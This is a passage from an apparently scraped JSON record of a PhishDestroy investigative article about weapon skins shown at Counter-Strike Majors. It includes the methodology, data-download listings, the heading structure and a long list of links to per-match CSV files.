↓\n92950_mibr-vs-liquid-m1-mirage.dem.loadout.csv ↓\n92950_mibr-vs-liquid-m2-nuke.dem.loadout.csv ↓\n92950_mibr-vs-liquid-m3-anubis.dem.loadout.csv ↓\n92953_furia-vs-pain-m1-vertigo.dem.loadout.csv ↓\n92953_furia-vs-pain-m2-mirage.dem.loadout.csv ↓\n92953_furia-vs-pain-m3-inferno.dem.loadout.csv ↓\n92954_spirit-vs-heroic-m1-ancient.dem.loadout.csv ↓\n92954_spirit-vs-heroic-m2-mirage.dem.loadout.csv ↓\n92954_spirit-vs-heroic-m3-dust2.dem.loadout.csv ↓\n92980_mibr-vs-mouz-m1-mirage.dem.loadout.csv ↓\n92980_mibr-vs-mouz-m2-nuke.dem.loadout.csv ↓\n92982_heroic-vs-natus-vincere-m1-mirage.dem.loadout.csv ↓\n92982_heroic-vs-natus-vincere-m2-nuke.dem.loadout.csv ↓\n92982_heroic-vs-natus-vincere-m3-ancient.dem.loadout.csv ↓\n92984_faze-vs-furia-m1-inferno.dem.loadout.csv ↓\n92984_faze-vs-furia-m2-dust2.dem.loadout.csv ↓\n92984_faze-vs-furia-m3-mirage.dem.loadout.csv ↓\n93035_the-mongolz-vs-mouz-m1-ancient.dem.loadout.csv ↓\n93035_the-mongolz-vs-mouz-m2-nuke.dem.loadout.csv ↓\n93037_spirit-vs-liquid-m1-anubis.dem.loadout.csv ↓\n93037_spirit-vs-liquid-m2-dust2.dem.loadout.csv ↓\n93050_g2-vs-heroic-m1-ancient.dem.loadout.csv ↓\n93050_g2-vs-heroic-m2-nuke.dem.loadout.csv ↓\n93050_g2-vs-heroic-m3-mirage.dem.loadout.csv ↓\n93052_vitality-vs-faze-m1-nuke.dem.loadout.csv ↓\n93052_vitality-vs-faze-m2-mirage.dem.loadout.csv ↓\n93052_vitality-vs-faze-m3-anubis.dem.loadout.csv ↓\n93073_mouz-vs-spirit-m1-nuke.dem.loadout.csv ↓\n93073_mouz-vs-spirit-m2-ancient.dem.loadout.csv ↓\n93073_mouz-vs-spirit-m3-mirage.dem.loadout.csv ↓\n93076_g2-vs-faze-m1-ancient.dem.loadout.csv ↓\n93076_g2-vs-faze-m2-nuke.dem.loadout.csv ↓\n93102_spirit-vs-faze-m1-nuke.dem.loadout.csv ↓\n93102_spirit-vs-faze-m2-ancient.dem.loadout.csv ↓\n93102_spirit-vs-faze-m3-dust2.dem.loadout.csv ↓\n97739_mouz-vs-virtuspro-mirage.dem.loadout.csv ↓\n97740_spirit-vs-pain-dust2.dem.loadout.csv ↓\n97741_g2-vs-3dmax-nuke.dem.loadout.csv ↓\n97743_aurora-vs-faze-anubis.dem.loadout.csv ↓\n97745_the-mongolz-vs-furia-inferno.dem.loadout.csv ↓\n97748_liquid-vs-lynn-vision-dust2.dem.loadout.csv ↓\n97750_aurora-vs-furia-dust2.dem.loadout.csv ↓\n97751_virtus-pro-vs-legacy-ancient.dem.loadout.csv ↓\n97752_3dmax-vs-natus-vincere-inferno.dem.loadout.csv ↓\n97754_mouz-vs-faze-ancient.dem.loadout.csv ↓\n97755_vitality-vs-nemiga-dust2.dem.loadout.csv ↓\n97757_g2-vs-pain-dust2.dem.loadout.csv ↓\n97769_3dmax-vs-vitality-nuke.dem.loadout.csv ↓\n97770_legacy-vs-faze-anubis.dem.loadout.csv ↓\n97772_aurora-vs-g2-inferno.dem.loadout.csv ↓\n97776_spirit-vs-natus-vincere-m1-anubis.dem.loadout.csv ↓\n97776_spirit-vs-natus-vincere-m2-train.dem.loadout.csv ↓\n97785_pain-vs-nemiga-m1-ancient.dem.loadout.csv ↓\n97785_pain-vs-nemiga-m2-anubis.dem.loadout.csv ↓\n97785_pain-vs-nemiga-m3-dust2.dem.loadout.csv ↓\n97819_legacy-vs-lynn-vision-m1-dust2.dem.loadout.csv ↓\n97819_legacy-vs-lynn-vision-m2-inferno.dem.loadout.csv ↓\n97819_legacy-vs-lynn-vision-m3-nuke.dem.loadout.csv ↓\n97820_3dmax-vs-pain-m1-inferno.dem.loadout.csv ↓\n97820_3dmax-vs-pain-m2-nuke.dem.loadout.csv ↓\n97826_the-mongolz-vs-faze-m1-ancient.dem.loadout.csv ↓\n97826_the-mongolz-vs-faze-m2-anubis.dem.loadout.csv ↓\n97830_aurora-vs-mouz-m1-train.dem.loadout.csv ↓\n97830_aurora-vs-mouz-m2-inferno.dem.loadout.csv ↓\n97830_aurora-vs-mouz-m3-mirage.dem.loadout.csv ↓\n97835_virtus-pro-vs-vitality-m1-train.dem.loadout.csv ↓\n97835_virtus-pro-vs-vitality-m2-dust2.dem.loadout.csv ↓\n97836_natus-vincere-vs-g2-m1-mirage.dem.loadout.csv ↓\n97836_natus-vincere-vs-g2-m2-anubis.dem.loadout.csv ↓\n97836_natus-vincere-vs-g2-m3-inferno.dem.loadout.csv ↓\n97857_legacy-vs-mouz-m1-ancient.dem.loadout.csv ↓\n97857_legacy-vs-mouz-m2-inferno.dem.loadout.csv ↓\n97857_legacy-vs-mouz-m3-nuke.dem.loadout.csv ↓\n97934_spirit-vs-mouz-m1-mirage.dem.loadout.csv ↓\n97934_spirit-vs-mouz-m2-dust2.dem.loadout.csv ↓\n97934_spirit-vs-mouz-m3-nuke.dem.loadout.csv ↓\n97954_faze-vs-the-mongolz-m1-mirage.dem.loadout.csv ↓\n97954_faze-vs-the-mongolz-m2-anubis.dem.loadout.csv ↓\n97995_vitality-vs-the-mongolz-m1-mirage.dem.loadout.csv ↓\n97995_vitality-vs-the-mongolz-m2-dust2.dem.loadout.csv ↓\n97995_vitality-vs-the-mongolz-m3-inferno.dem.loadout.csv ↓\nANALYSIS SOFTWAREPortable parsers & offline report builders0.7 MB · source ZIP ↓FILE INDEX / INTEGRITYEvery table + SHA-256JSON ↓\n\nCurated analysis source with a portable launcher, offline report generation and catalogue-based phase resolution. Release file list + hashes ↗ · Software checksum ↗\n\n09 / METHOD & SOURCESAGENT SIMON / INVESTIGATION & ANALYSIS\nThe evidence behind the display.\n\nThe archive brings the observations together: match links, per-map inspect records, glove and loadout layers, market listings and the parser source.\n\nWhat is in the sample?\n\nSeven Majors, Stockholm 2021 to Austin 2025. The manifest contains 40 match series per event: the final 16-team Swiss stage (Legends / Elimination / Stage 3) and the playoffs, including the grand final. There are 491 mapped inspect CSVs. Earlier stages and qualifiers are outside this manifest.\n\nWhat do the percentages count?\n\n“With a skin” means a nickname–event group has at least one inspect record on a skinnable weapon with a nonzero paint kit. The dataset has 559 such groups, not 559 unique people. “Default-only” refers to those inspect records, not an assertion about every item a player owns. The full carried-loadout layer is a separate 122-series subset.\n\nInspect time, glove time and screen time\n\nInspect hours are sums of button-state intervals for all players. Multiple players can inspect at once. CS:GO and CS2 record the action differently; do not interpret the drop in CS2 duration as a corresponding reduction in visible skins. Glove hours come from first-to-last tracked spans and are not clipped to active play or the broadcast camera. These two time measures overlap.\n\nThe Major archive has no spectator-camera or frame-mask data. The frame studies above are separate, manually annotated first-person illustrations. They measure visible object/glove pixels in the selected frames only. Their screen-share figures are not extrapolated to Major broadcasts or viewer attention.\n\nSources, artwork and video\n\nMatch and demo links: HLTV, from the supplied manifest. Skin records and reports: PhishDestroy’s supplied Major archive. Item names and catalogue artwork: the included skins_db.json; team emblems: tournament-sticker artwork from Steam, resolved through ByMykel’s item catalogue. Team and item names belong to their respective owners; their inclusion identifies the evidence.\n\nNine independent examples illustrate the mechanic, including eight excerpts from the supplied video collection. Dragon Lore is shown in inventory preview; the other new recordings use in-game views. These illustrations are separate from the sampled Majors. JSON: coordinates, source links and file hashes · CSV: all frame measurements · CS2 Skin Inspect channel supplied with the collection ↗.\n\n01 / COMPLETE DATA PACKAll original CSVs + catalogue12.5 MB · ZIP ↓02 / CHART DATAPage datasetJSON ↓03 / MATCH MANIFEST280 matches and demo linksCSV ↓04 / HOURS CALCULATIONSeconds, hours, event totalsCSV ↓\n\nData pack SHA-256 83304505fb6a2ed53d000b8833f5174448f24dc318b793f9e6a864b0d59a857c\n\nData pack excludes credentials and compiled executables. Original game demos are linked through the match manifest, not included. Publication: 5 October 2026.\n\nAUTHOR / INVESTIGATION / EDITORIAL\nAgent Simon\n\nInvestigation and analysis by Agent Simon. Published as part of The Steam Dossier by PhishDestroy, using the supplied Major collection.\n\nFind this material in the fragment map →\nAgent SimonFOLLOW THE EVIDENCE.\nMaterial PDF ↓Signed record · JSON ↓PGP signature ↓\n\nIMAGE / ITEM RIGHTS Valve and the respective rights holders retain all applicable rights in Counter-Strike, Steam, the depicted items, names and artwork. These are Valve virtual items, not currency issued by PhishDestroy. This investigation claims no ownership or intellectual-property rights in any item or image; illustrations appear solely for identification and commentary. Inclusion does not imply sponsorship or endorsement.",
        "headings": [
          {
            "level": 1,
            "text": "Their stage. Their skins. Their economy.",
            "anchor": "pd-major_skins--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#overview"
          },
          {
            "level": 2,
            "text": "The exception is playing without one.",
            "anchor": "pd-major_skins--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#record"
          },
          {
            "level": 2,
            "text": "The skin becomes the moving foreground.",
            "anchor": "pd-major_skins--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#inspect"
          },
          {
            "level": 3,
            "text": "How much of the frame is the object?",
            "anchor": "pd-major_skins--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#inspect"
          },
          {
            "level": 4,
            "text": "Sampled screen area over the clip",
            "anchor": "pd-major_skins--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#inspect"
          },
          {
            "level": 3,
            "text": "A small share of pixels can carry the show.",
            "anchor": "pd-major_skins--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#inspect"
          },
          {
            "level": 3,
            "text": "From individual animations to 203.66 player-hours.",
            "anchor": "pd-major_skins--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#inspect"
          },
          {
            "level": 3,
            "text": "Where those hours accumulate",
            "anchor": "pd-major_skins--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#inspect"
          },
          {
            "level": 2,
            "text": "The knife goes away. The gloves remain.",
            "anchor": "pd-major_skins--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#gloves"
          },
          {
            "level": 2,
            "text": "Different winners. The same showcase.",
            "anchor": "pd-major_skins--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#events"
          },
          {
            "level": 2,
            "text": "The match is also an advertisement.",
            "anchor": "pd-major_skins--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#economy"
          },
          {
            "level": 3,
            "text": "Valve is inside the picture.",
            "anchor": "pd-major_skins--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#economy"
          },
          {
            "level": 3,
            "text": "Free to play. Not free from the sales pitch.",
            "anchor": "pd-major_skins--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#economy"
          },
          {
            "level": 3,
            "text": "The finish is visible. The supply chain is not.",
            "anchor": "pd-major_skins--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#economy"
          },
          {
            "level": 3,
            "text": "From the skin showcase to the gambling sponsor.",
            "anchor": "pd-major_skins--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#sponsorship-investigation"
          },
          {
            "level": 2,
            "text": "More than a colour on a weapon.",
            "anchor": "pd-major_skins--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#loadouts"
          },
          {
            "level": 3,
            "text": "382 of 395 records exceed $2,000 before individual-item premiums.",
            "anchor": "pd-major_skins--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#loadouts"
          },
          {
            "level": 2,
            "text": "Your favourite player. A priced collection.",
            "anchor": "pd-major_skins--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#players"
          },
          {
            "level": 3,
            "text": "What keeps returning to their hands.",
            "anchor": "pd-major_skins--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#players"
          },
          {
            "level": 2,
            "text": "From the headline to the individual row.",
            "anchor": "pd-major_skins--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#data"
          },
          {
            "level": 3,
            "text": "Open the collection.",
            "anchor": "pd-major_skins--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#data"
          },
          {
            "level": 2,
            "text": "The evidence behind the display.",
            "anchor": "pd-major_skins--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#method"
          },
          {
            "level": 3,
            "text": "Agent Simon",
            "anchor": "pd-major_skins--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/major_skins/#authorship"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/major_skins/"
          },
          {
            "label": "Stockholm 2021 ↗",
            "url": "https://www.hltv.org/events/4866/pgl-major-stockholm-2021"
          },
          {
            "label": "Antwerp 2022 ↗",
            "url": "https://www.hltv.org/events/6372/pgl-major-antwerp-2022"
          },
          {
            "label": "Rio 2022 ↗",
            "url": "https://www.hltv.org/events/6586/iem-rio-major-2022"
          },
          {
            "label": "Paris 2023 ↗",
            "url": "https://www.hltv.org/events/6793/blasttv-paris-major-2023"
          },
          {
            "label": "Copenhagen 2024 ↗",
            "url": "https://www.hltv.org/events/7148/pgl-cs2-major-copenhagen-2024"
          },
          {
            "label": "Shanghai 2024 ↗",
            "url": "https://www.hltv.org/events/7524/perfect-world-shanghai-major-2024"
          },
          {
            "label": "Austin 2025 ↗",
            "url": "https://www.hltv.org/events/7525/blasttv-austin-major-2025"
          },
          {
            "label": "Download the calculation ↗",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/inspect-hours.csv"
          },
          {
            "label": "Open the video examples and timestamps online.",
            "url": "https://phishdestroy.io/steam_dossier/major_skins/#clip-picker"
          },
          {
            "label": "Download these totals ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/showcase/model-time.csv"
          },
          {
            "label": "Open clip ↗",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/inspect-gameplay.mp4"
          },
          {
            "label": "Download frame measurements ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/gallery/screen-samples.csv"
          },
          {
            "label": "All outlines, timestamps, source links and file hashes · JSON ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/inspect-gallery.json"
          },
          {
            "label": "All frame measurements · CSV ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/gallery/screen-samples.csv"
          },
          {
            "label": "Glove records ↗",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/09_gloves_players.csv"
          },
          {
            "label": "Follow the market mechanics →",
            "url": "https://phishdestroy.io/steam_dossier/market_economics/"
          },
          {
            "label": "Valve’s prize-fund announcement ↗",
            "url": "https://blog.counter-strike.net/2013/09/7614/"
          },
          {
            "label": "Valve’s Major rulebook ↗",
            "url": "https://github.com/ValveSoftware/counter-strike_rules_and_regs/blob/main/major-supplemental-rulebook.md"
          },
          {
            "label": "Valve’s tournament licence · §2.4(e) ↗",
            "url": "https://store.steampowered.com/tourney/limited_license"
          },
          {
            "label": "CONTINUE / PRICE ATLASWhere the price climbs beyond Steam’s marketRead the atlas →",
            "url": "https://phishdestroy.io/steam_dossier/skin_atlas/"
          },
          {
            "label": "CONTINUE / AUTHENTICATIONA blocked site. A working Steam login.Follow the route →",
            "url": "https://phishdestroy.io/steam_dossier/#proxy-bypass-explainer"
          },
          {
            "label": "Ten days to stop. Seven years later, at G2’s booth. →",
            "url": "https://phishdestroy.io/steam_dossier/major_sponsorships/"
          },
          {
            "label": "Corrected player subtotals CSV ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/corrected/player-valuations.csv"
          },
          {
            "label": "Every selected item and quote CSV ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/corrected/selected-loadout-items.csv"
          },
          {
            "label": "Major totals CSV ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/corrected/major-valuations.csv"
          },
          {
            "label": "SkinsAtlas pro inventories ↗",
            "url": "https://www.skinsatlas.com/pro-players"
          },
          {
            "label": "Identity and price correction log ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/price-corrections.json"
          },
          {
            "label": "Price snapshot and provenance ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/market-price-snapshot.json"
          },
          {
            "label": "All displayed item prices CSV ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/corrected/item-prices.csv"
          },
          {
            "label": "Corrected catalogue CSV ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/corrected/skin-listings.csv"
          },
          {
            "label": "Explore the player files and their source data online.",
            "url": "https://phishdestroy.io/steam_dossier/major_skins/#player-file"
          },
          {
            "label": "Download complete table ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/01_players.csv"
          },
          {
            "label": "Download complete table ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/02_knives.csv"
          },
          {
            "label": "Download complete table ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/03_events.csv"
          },
          {
            "label": "Download complete table ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/04_priced.csv"
          },
          {
            "label": "Download complete table ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/05_players_all.csv"
          },
          {
            "label": "Download complete table ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/06_weapons_all.csv"
          },
          {
            "label": "Download complete table ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/07_events_all.csv"
          },
          {
            "label": "Download complete table ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/08_top_skins_all.csv"
          },
          {
            "label": "Download complete table ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/09_gloves_players.csv"
          },
          {
            "label": "Download complete table ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/10_gloves_events.csv"
          },
          {
            "label": "Download complete table ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/11_loadout_players.csv"
          },
          {
            "label": "Download complete table ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/12_loadout_weapons.csv"
          },
          {
            "label": "Download complete table ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/13_loadout_events.csv"
          },
          {
            "label": "Download complete table ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/14_players_valuation.csv"
          },
          {
            "label": "Download complete table ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/15_valuation_majors.csv"
          },
          {
            "label": "Download complete table ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/16_skin_listings.csv"
          },
          {
            "label": "68259_evil-geniuses-vs-faze-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68259_evil-geniuses-vs-faze-dust2.dem.skins.csv"
          },
          {
            "label": "68260_g2-vs-copenhagen-flames-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68260_g2-vs-copenhagen-flames-ancient.dem.skins.csv"
          },
          {
            "label": "68262_gambit-vs-ence-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68262_gambit-vs-ence-overpass.dem.skins.csv"
          },
          {
            "label": "68263_liquid-vs-entropiq-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68263_liquid-vs-entropiq-vertigo.dem.skins.csv"
          },
          {
            "label": "68264_vitality-vs-virtus-pro-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68264_vitality-vs-virtus-pro-inferno.dem.skins.csv"
          },
          {
            "label": "68266_nip-vs-mouz-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68266_nip-vs-mouz-inferno.dem.skins.csv"
          },
          {
            "label": "68267_natus-vincere-vs-heroic-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68267_natus-vincere-vs-heroic-ancient.dem.skins.csv"
          },
          {
            "label": "68268_furia-vs-astralis-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68268_furia-vs-astralis-inferno.dem.skins.csv"
          },
          {
            "label": "68270_evil-geniuses-vs-copenhagen-flames-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68270_evil-geniuses-vs-copenhagen-flames-nuke.dem.skins.csv"
          },
          {
            "label": "68271_g2-vs-faze-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68271_g2-vs-faze-mirage.dem.skins.csv"
          },
          {
            "label": "68273_liquid-vs-ence-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68273_liquid-vs-ence-dust2.dem.skins.csv"
          },
          {
            "label": "68274_gambit-vs-entropiq-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68274_gambit-vs-entropiq-vertigo.dem.skins.csv"
          },
          {
            "label": "68279_vitality-vs-heroic-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68279_vitality-vs-heroic-overpass.dem.skins.csv"
          },
          {
            "label": "68280_natus-vincere-vs-virtus-pro-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68280_natus-vincere-vs-virtus-pro-overpass.dem.skins.csv"
          },
          {
            "label": "68281_furia-vs-mouz-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68281_furia-vs-mouz-inferno.dem.skins.csv"
          },
          {
            "label": "68282_nip-vs-astralis-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68282_nip-vs-astralis-inferno.dem.skins.csv"
          },
          {
            "label": "68287_faze-vs-copenhagen-flames-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68287_faze-vs-copenhagen-flames-ancient.dem.skins.csv"
          },
          {
            "label": "68288_gambit-vs-virtus-pro-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68288_gambit-vs-virtus-pro-vertigo.dem.skins.csv"
          },
          {
            "label": "68289_liquid-vs-furia-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68289_liquid-vs-furia-inferno.dem.skins.csv"
          },
          {
            "label": "68290_astralis-vs-heroic-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68290_astralis-vs-heroic-ancient.dem.skins.csv"
          },
          {
            "label": "68291_g2-vs-entropiq-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68291_g2-vs-entropiq-m1-mirage.dem.skins.csv"
          },
          {
            "label": "68291_g2-vs-entropiq-m2-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68291_g2-vs-entropiq-m2-dust2.dem.skins.csv"
          },
          {
            "label": "68292_vitality-vs-evil-geniuses-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68292_vitality-vs-evil-geniuses-m1-inferno.dem.skins.csv"
          },
          {
            "label": "68292_vitality-vs-evil-geniuses-m2-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68292_vitality-vs-evil-geniuses-m2-vertigo.dem.skins.csv"
          },
          {
            "label": "68292_vitality-vs-evil-geniuses-m3-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68292_vitality-vs-evil-geniuses-m3-dust2.dem.skins.csv"
          },
          {
            "label": "68294_natus-vincere-vs-nip-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68294_natus-vincere-vs-nip-m1-nuke.dem.skins.csv"
          },
          {
            "label": "68294_natus-vincere-vs-nip-m2-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68294_natus-vincere-vs-nip-m2-overpass.dem.skins.csv"
          },
          {
            "label": "68298_mouz-vs-ence-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68298_mouz-vs-ence-m1-mirage.dem.skins.csv"
          },
          {
            "label": "68298_mouz-vs-ence-m2-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68298_mouz-vs-ence-m2-vertigo.dem.skins.csv"
          },
          {
            "label": "68308_faze-vs-liquid-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68308_faze-vs-liquid-m1-inferno.dem.skins.csv"
          },
          {
            "label": "68308_faze-vs-liquid-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68308_faze-vs-liquid-m2-mirage.dem.skins.csv"
          },
          {
            "label": "68309_entropiq-vs-furia-m1-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68309_entropiq-vs-furia-m1-vertigo.dem.skins.csv"
          },
          {
            "label": "68309_entropiq-vs-furia-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68309_entropiq-vs-furia-m2-nuke.dem.skins.csv"
          },
          {
            "label": "68309_entropiq-vs-furia-m3-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68309_entropiq-vs-furia-m3-ancient.dem.skins.csv"
          },
          {
            "label": "68310_nip-vs-gambit-m1-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68310_nip-vs-gambit-m1-dust2.dem.skins.csv"
          },
          {
            "label": "68310_nip-vs-gambit-m2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68310_nip-vs-gambit-m2-inferno.dem.skins.csv"
          },
          {
            "label": "68311_astralis-vs-vitality-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68311_astralis-vs-vitality-m1-nuke.dem.skins.csv"
          },
          {
            "label": "68311_astralis-vs-vitality-m2-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68311_astralis-vs-vitality-m2-vertigo.dem.skins.csv"
          },
          {
            "label": "68311_astralis-vs-vitality-m3-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68311_astralis-vs-vitality-m3-dust2.dem.skins.csv"
          },
          {
            "label": "68312_heroic-vs-copenhagen-flames-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68312_heroic-vs-copenhagen-flames-m1-nuke.dem.skins.csv"
          },
          {
            "label": "68312_heroic-vs-copenhagen-flames-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68312_heroic-vs-copenhagen-flames-m2-ancient.dem.skins.csv"
          },
          {
            "label": "68312_heroic-vs-copenhagen-flames-m3-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68312_heroic-vs-copenhagen-flames-m3-overpass.dem.skins.csv"
          },
          {
            "label": "68313_virtus-pro-vs-mouz-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68313_virtus-pro-vs-mouz-m1-ancient.dem.skins.csv"
          },
          {
            "label": "68313_virtus-pro-vs-mouz-m2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68313_virtus-pro-vs-mouz-m2-inferno.dem.skins.csv"
          },
          {
            "label": "68313_virtus-pro-vs-mouz-m3-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68313_virtus-pro-vs-mouz-m3-vertigo.dem.skins.csv"
          },
          {
            "label": "68324_entropiq-vs-vitality-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68324_entropiq-vs-vitality-m1-mirage.dem.skins.csv"
          },
          {
            "label": "68324_entropiq-vs-vitality-m2-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68324_entropiq-vs-vitality-m2-overpass.dem.skins.csv"
          },
          {
            "label": "68324_entropiq-vs-vitality-m3-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68324_entropiq-vs-vitality-m3-dust2.dem.skins.csv"
          },
          {
            "label": "68325_virtus-pro-vs-faze-m1-inferno.dem.skins.csv ↓",
